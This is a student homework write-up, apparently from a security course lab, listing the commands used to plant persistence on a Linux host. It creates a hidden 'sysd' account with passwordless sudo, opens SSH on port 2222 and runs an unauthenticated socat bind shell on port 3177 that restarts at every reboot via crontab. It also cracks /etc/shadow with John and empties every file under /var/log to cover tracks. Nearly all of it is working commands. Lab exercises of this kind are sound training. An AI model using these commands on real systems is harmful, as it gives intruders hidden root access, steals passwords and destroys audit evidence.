HW 6 -Jonathan Kennedy

Create a secret user named sysd. Make sure this user doesn't have a home folder created.

- **Useradd --system -M sysd**

Give your secret user a password.

- **Passwd sysd** Created UNIX passwd: sysd (entered it twice)

Give your secret user a system UID < 1000.

- **usermod -u 999 sysd** (checked by typing id sysd)

Give your secret user the same GID

- **Groupmod -g 999 sysd** (checked by typing id sysd)

Give your secret user full sudo access without the need for a password.

- **Visudo** (went to bottom) added : **sysd ALL=(ALL) NOPASSWD:ALL**

Test that sudo access works without your password

Switched user by: **su sysd**, then ran: **sudo -l,** received output of ALL NOPASSWD:ALL

Further tested by: **sudo cat /etc/shadow**, user passwords revealed

Your BASH commands go here

- **Entered Root: su root (entered password for root)**

Allow ssh access over port 2222.

- **nano /etc/ssh/sshd_config**
- **Made sure port 22 was commented out (#port 22) and added port 2222 (left uncommented)**

Your BASH commands go here

Note the IP address of this system: **172.18.34.198**

- **su student-** switched back to student user (kept terminal open) -Exit the root account.
- **su student-** switched back to student user (kept terminal open)

- Opened another Gitbash terminal entered: **ssh sysd@172.18.34.198 -p 2222 (entered syd password)** SSH to the machine using your sysd account and port 2222

- **su root (entered root password)** Use sudo to switch to the root user

Create a backdoor with socat

- Install socat
- **sudo apt-get install socat (while in root)**
- Run Socat command in the background
- **socat TCP4-Listen:3177,fork EXEC:/bin/bash &**
- Explain each part of the socat command:
    - **Socat- runs socat (Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them)**
    - **TCP4-Listen:3177- specifies which port to "Listen" to**
    - **fork,EXEC :/bin/bash- forks a new child process for the connection then executes to /bin/bash directory**
- Exit the SSH session
- **exit**
- Test socat connection from your local machine
- **Socat STDIO TCP4:172.18.34.198:3177**
- Close the socat connection.
- **type exit or close window to exit terminal**

Crack *all* the passwords

Ssh back to the system using your sysd account

- Opened Gitbash terminal entered: **ssh sysd@172.18.34.198 -p 2222 (entered syd password)** SSH to the machine using your sysd account and port 2222
- Use John to crack the entire /etc/shadow file
- **john /etc/shadow**

Cover your tracks

- Use socat and a for loop to clear all system logs.
- Put a command in your crontab file to run socat upon startup of Scavenger Hunt:
- (Switch to Root User) **su root** then (Edit Crontab) **sudo crontab -e** then uncommented **@reboot socat TCP4-Listen:3177,fork EXEC:/bin/bash &**
- (In a separate SSH Gitbash) Have socat listener open**: Socat STDIO TCP4:172.18.34.198:3177**
- **For log in $(ls /var/log); do echo “” > /var/log/${log} ; done**